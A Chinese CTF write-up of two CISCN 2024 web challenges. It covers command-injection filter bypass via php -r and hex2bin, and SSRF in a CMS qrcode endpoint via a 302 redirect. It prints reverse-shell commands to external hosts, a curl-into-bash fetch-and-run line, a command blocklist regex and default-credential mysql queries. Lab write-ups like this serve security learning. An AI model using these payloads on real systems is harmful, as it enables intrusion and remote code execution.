0%

CISCN2024 初赛

国赛爆0,特此记录下CISCN复现学习

simple_php

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}

show_source(__FILE__);
?>

open_basedir限制了只能在当前目录进行操作,对cmd参数进行转义处理

其中escapeshellcmd函数可以在PHP中文手册查到

可用命令如下

1
2
3
4
5
6
7
8
9
10
11
echo
tee
base32
pwd
set
printf
php
mysql
paste # 这个可以直接读文件
rev # 这个可以直接读文件
...

不过限制太死了,这里考虑PHP命令行参数注入

(可以先php -i看看有无回显)

由于点号和星号被过滤了,所以使用-r参数

本地测试发现在php -r情况下()并不会因为转义影响代码执行,并且并不需要''包裹代码

1
php -r print(1);

确实能执行简单命令,但是过滤这么多就要考虑编码绕过(base64不行就用hex代替)

执行id命令测试下

1
php -r system(hex2bin(6964));

进一步测试时发现,如果命令过长hex加密后会出现英文字母导致报错

这里需要借助substr函数的特性强转字符串,然后再截断多余字符

那么我们弹个shell先

1
2
# bash -i >& /dev/tcp/5i781963p2.yicp.fun/47829 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzQ3ODI5IDA+JjE=}|{base64,-d}|{bash,-i}

hex编码一下

1
php -r system(hex2bin(substr(_62617368202d63207b6563686f2c596d467a614341746153412b4a6941765a4756324c33526a63433831615463344d546b324d3341794c6e6c70593341755a6e56754c7a51334f4449354944412b4a6a453d7d7c7b6261736536342c2d647d7c7b626173682c2d697d,1)));

不过由于ctfshow平台的问题弹不成功

并且在根目录下以及环境变量都没有flag,我们执行paste /etc/passwd

可以注意到存在mysql用户,那么猜测flag在数据库里

使用默认用户和密码和-e参数去查询

1
2
3
mysql -u root -proot -e "show databases;"
mysql -u root -proot -e "use PHP_CMS;show tables;"
mysql -u root -proot -e "use PHP_CMS;select * from F1ag_Se3Re7;"

得到flag

easycms

扫一下目录发现存在/flag.php

题目给了hint

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

限制了ip为127.0.0.1才能命令执行,很明显的ssrf

从github上把源码下载下来后,全局搜索curl_exec,找到两个函数分别是dr_catcher_datadr_post_json_data不过暂时不知道如何利用

我们访问官方网站查看公布的漏洞列表,注意到qrcode存在ssrf漏洞 官网链接

用Seay代审全局搜索找到qrcode函数,注意到有调用dr_catcher_data函数

我们肯定是利用curl来ssrf,现在有两个要解决的问题

  1. 如何构造payload
  2. 如何构造php文件使得以127.0.0.1去访问/flag.php

构造payload

我们注意到调用dr_catcher_data函数的时候参数为$thumb,全局搜索一下还是在Helper.php

1
2
3
4
//二维码调用
function dr_qrcode($text, $thumb = '', $level = 'H', $size = 5) {
return ROOT_URL.'index.php?s=api&c=api&m=qrcode&thumb='.urlencode($thumb).'&text='.urlencode($text).'&size='.$size.'&level='.$level;
}

在进行二维码调用的时候会出现$thumb,给他赋值去读取我们vps上的恶意文件,从而传递给dr_catcher_data函数

payload如下

1
https://d068a101-a0c4-4e49-990f-06f5fea551f9.challenge.ctf.show/?s=api&c=api&m=qrcode&thumb=http://45.136.15.177:1028/shell.php&text=1&size=1&level=1

我们可以先测试下能否访问,这里vps是借吕哥的

ssh连上后创建shell.php文件,然后本地开启php服务

1
php -S 0.0.0.0:1028

靶机执行payload,成功访问(执行的payload只能一次,再执行要修改size大小)

接下来要解决如何构造php文件

构造shell.php

目的是以ip为127.0.0.1去访问,所以我们可以利用location去重定向

1
2
3
4
<?php
$target_url="http://127.0.0.1/flag.php";
header("Location: ". $target_url);
?>

编写好后,执行payload成功发生302跳转

我们可以反弹shell

1
2
3
4
<?php
$target_url="http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/45.136.15.177/777%200%3E&1%22";
header("Location: ". $target_url);
?>

或者在vps写个sh脚本来弹,然后用curl去访问

1
2
3
4
<?php
$target_url="http://127.0.0.1/flag.php?cmd=curl%20http://45.136.15.177:1028/reverse.sh%20%7Cbash";
header("Location: ". $target_url);
?>

反弹成功后得到flag